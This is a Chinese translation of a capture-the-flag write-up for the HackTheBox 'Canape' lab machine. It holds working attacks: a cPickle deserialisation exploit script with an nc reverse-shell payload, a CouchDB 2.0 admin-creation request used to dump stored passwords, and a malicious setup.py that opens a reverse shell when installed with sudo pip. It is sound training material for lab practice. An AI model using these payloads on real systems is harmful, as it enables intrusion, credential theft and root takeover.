原文: https://www.absolomb.com/2018-09-15-HackTheBox-Canape/
HackTheBox 是我非常喜欢的 CTF 比赛,因为在拿到 Flag 的过程中需要一些创造性思维,并需要分析和编写一些 python 脚本。所以这是一次很棒的学习经历。
用 Nmap 扫描服务器端口:
root@kali:~/htb/canape# nmap -p- 10.10.10.70 -T4
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 12:51 CDT
Nmap scan report for 10.10.10.70
Host is up (0.053s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
65535/tcp open unknown
现在,我们针对两个开放的端口,运行 nmap 脚本和服务检测扫描。
root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 13:07 CDT
Nmap scan report for 10.10.10.70
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap 在 65535 端口上扫描到了 SSH服务,并在 80 端口上扫到了一个 Git 存储库地址。
我们可以通过两种方式克隆 Git 存储库。简单的方法是在更新 /etc/hosts 后执行 git clone 命令。
root@kali:~/htb/canape# git clone http://git.canape.htb/simpsons.git
Cloning into 'simpsons'...
remote: Counting objects: 49, done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 49 (delta 18), reused 0 (delta 0)
Unpacking objects: 100% (49/49), done.
或者,如果 simpsons.git 文件并未公开,我们可以用 wget 来下载 git 仓库。
root@kali:~/htb/canape#wget --mirror -I .git 10.10.10.70/.git/
然后.我们可以 cd 进入 git 存储库目录并执行 git checkout 命令。
root@kali:~/htb/canape/10.10.10.70# git checkout -- .
root@kali:~/htb/canape/10.10.10.70# ls -al
total 28
drwxr-xr-x 5 root root 4096 Apr 26 13:26 .
drwxr-xr-x 3 root root 4096 Apr 26 13:24 ..
drwxr-xr-x 8 root root 4096 Apr 26 13:26 .git
-rw-r--r-- 1 root root 2043 Apr 26 13:26 __init__.py
-rw-r--r-- 1 root root 207 Apr 26 13:24 robots.txt
drwxr-xr-x 4 root root 4096 Apr 26 13:26 static
drwxr-xr-x 2 root root 4096 Apr 26 13:26 templates
查看 __init__.py
文件的内容,我们可以发现这是一个 Flask Web 应用程序。
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
上面的一些代码可以筛选出不同的网页。 /submit
需要两个变量, char
和 quote
。 char
通过字符串白名单来确保是否包含白名单中的某个字符。quote 就没有任何限制。然后使用 md5 对这两个变量进行哈希作为文件名,并写入到/tmp/ 目录。
我们可以看到 /check
接收了 id 输入参数并使用这个参数作为文件名,然后打开/tmp下带有该 id 的文件。现部分代码看起来比较有趣。如果 p1 在该文件中,则使用 cPickle 来加载文件内容(也就是反序列化)。如果你不熟悉 python 中的 pickle,那么请查阅相关的资料。pickle 一般用于将数据序列化为字节,也可用于反序列化。如果你阅读了相关文档,那么文档中会明确说明不应该提供无法验证为安全的数据。
因此,结合上面的代码分析,我们可以将序列化代码发送到 quote字段中,并让 cPickle 对其进行反序列化并执行。
让我们从简单的开始,并验证我们可以获取存储在/tmp目录中的文件内容。我们先为 char 变量设置 homer 这个值并为 quote 变量设置值“test”,或者通过浏览器访问页面传入参数,或者使用 curl 来完成请求。现在我们需要将这些值组合起来,请作为 id 参数的值也就是文件名的哈希值然后请求 /check 页面。
使用 __init__.py
文件的源代码,我们可以重用部分代码来实现我们需要的功能。
root@kali:~# python
Python 2.7.14+ (default, Dec 5 2017, 15:17:02)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from hashlib import md5
>>> char = "homer"
>>> quote = "test"
>>> p_id = md5(char + quote).hexdigest()
>>> p_id
'27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
使用 curl
命令向 /check 发起 POST 请求来验证结果。
root@kali:~/htb/canape# curl -X POST http://10.10.10.70/check -F 'id=27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
Still reviewing: homertest
请注意,它将两个值连接在了一起,我们需要记住这一点,后面会用到。好吧,我们已经找到了那个部分,现在我们需要用 cPickle 和它的 dump 函数将已经序列化的数据输入到 quote 变量。这有一篇很好的文章,介绍了如何使用Python中一个类来做到这一点。
所以,我们还需要再做一些事情才能够让代码执行。
让我们编写一个 Exp 来自动化完成这些工作。
import cPickle
from hashlib import md5
import os
import requests
import urllib
class shell(object):
def __reduce__(self):
return (os.system,("rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe",))
quote = cPickle.dumps(shell())
char = "(S'homer'\n"
p_id = md5(char + quote).hexdigest()
submit_url = "http://10.10.10.70/submit"
check_url = "http://10.10.10.70/check"
client = requests.session()
post_data = [('character',char), ('quote',quote)]
post_request = client.post(submit_url, data=post_data)
post2_data = [('id',p_id)]
post2_request = client.post(check_url, data=post2_data)
现在我解释一下这段代码。
首先导入我们需要的所有需要用到的模块,然后定义一个类对象,这个类会执行一个反向shell,利用了 mknod 方法,因为很可能 nc -e 在目标服务器上不起作用。
接下来,我们使用 cPickle 序列化我们要执行的代码来并将其放入 quote 变量中。
接下来就是比较有趣的部分了。我们知道我们必须让提交 char 参数在白名单中。但是,如果我们按原样提交该字符串,则会导致我们的代码在反序列化时不会被执行。所以我们需要做的就是在cPickle中创建一个反序列化的字符串,通过添加 (S' 到字符串的最前面使其成为有效的非可执行代码。我们还可以添加 \n 换行符来防止我们之前看到的字符串会被拼接的情况。如果你想知道我是怎么想到的,你可以在python终端中查看反序列化的数据,看看 cPickle 转储了什么,你会得到下面这样的输出:
cposix
system
p1
(S'rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe'
p2
tp3
Rp4
注意 mknod 字符串的开头是 (S' 并用单引号闭合。可能还有其他的一些方法,但我的这个方法足够完成工作。
回到我们的 python 脚本,我们将 char 和 quote 拼接并用 md5 加密,然后存储为变量 pid,稍后会调用这个变量。 接下来,我们定义了要发起 POST 请求的两个 URL。 然后使用 requests 模块,创建一个 HTTP 请求客户端,并使用两个 char 和 quote 作为数据向/submit URL 发起 POST 请求。 最后,我们使用 pid 作为 id 参数的值向 /check 发起 POST请求来执行代码。
这个时候我们在本地启动 netcat 监听器,就可以在运行上面的脚本后捕获到服务器的 shell。
root@kali:~/htb/canape# python script.py
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58452
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@canape:/$
搞定!
我们已经得到了一个 www-data 用户身份的 shell ,但我们需要提升到 homer 用户身份来获取user.txt。回顾一下前面的 Flask 源代码,我们可以看到这个 Flask 应用程序连接到了 localhost 的 5984 端口上的 couchdb 服务。我们可以使用 curl 来验证连接并获取数据库版本。
www-data@canape:/$ curl -X GET http://127.0.0.1:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
让我们做一般的查询来获取当前在 couchdb 中的所有数据库。
www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
<ml/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
如果我们尝试访问数据库中 password 的内容,会被拒绝访问。
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/passwords/all_docs
{"error":"unauthorized","reason":"You are not authorized to access this db."}
幸运的是,couchdb 2.0 版本很容易受到漏洞攻击,有个 RCE 漏洞可以让我们绕过输入验证来创建一个管理员用户。你可以在这里查看漏洞详情。
我们的有效载荷如下:
www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:absolomb' --data-binary '{"type":"user","name":"absolomb","roles": ["_admin"],"roles": [],"password": "supersecret"}'
{"ok":true,"id":"org.couchdb.user:absolomb","rev":"1-821ac8fdc3a5d8e4362682da1beae312"}
现在我们可以通过在 URL 前面添加 username:password 这种格式的前缀来查询数据库。
www-data@canape:/$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
我们只需要在 URL 的末尾附加上 id 的值,就可以查询数据库中每个记录项的详细数据。
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
homer 用户的密码就是我们想要的! 我们可以在 65535 端口上连接 SSH 服务。
root@kali:~/htb/canape# ssh homer@10.10.10.70 -p 65535
homer@10.10.10.70's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5
homer@canape:~$
如果我们检查 homer 用户的 sudo权限,我们可以看到 homer 用户能够以 root 用户的身份运行 pip install。
homer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
为了利用这一点,我们可以简单地创建一个恶意的python包,它将在安装时运行代码。为此,我们可以setup.py使用以下内容在攻击框中创建一个文件。
To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.
import os
import pty
import socket
from setuptools import setup
from setuptools.command.install import install
class MyClass(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.14", 443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
setup(
cmdclass={
"install": MyClass
}
)
这基本上只是告诉pip在安装时运行MyClass,它将向我们发送一个反向shell。 现在我们需要打包它。
This basically just tells pip to run MyClass at install, which will send us a reverse shell.
Now we’ll need to package it.
root@kali:~/htb/canape# python setup.py sdist
默认情况下,它会在 dist 目录下创建一个 UNKNOWN-0.0.0.tar.gz 文件,我们可以将这个文件复制并重命名为 shell.tar.gz 然后复制到目标服务器上。
homer@canape:~$ wget http://10.10.14.14/shell.tar.gz
--2018-04-27 12:23:05-- http://10.10.14.14/shell.tar.gz
Connecting to 10.10.14.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775 [application/gzip]
Saving to: ‘shell.tar.gz’
shell.tar.gz 100%[=================================================>] 775 --.-KB/s in 0s
2018-04-27 12:23:05 (126 MB/s) - ‘shell.tar.gz’ saved [775/775]
现在,我们就可以启动一个 netcat 的监听器并使用 sudo 来运行 pip install。
homer@canape:~$ sudo /usr/bin/pip install shell.tar.gz
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ...
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 55420
root@canape:/tmp/pip-bz9te7-build#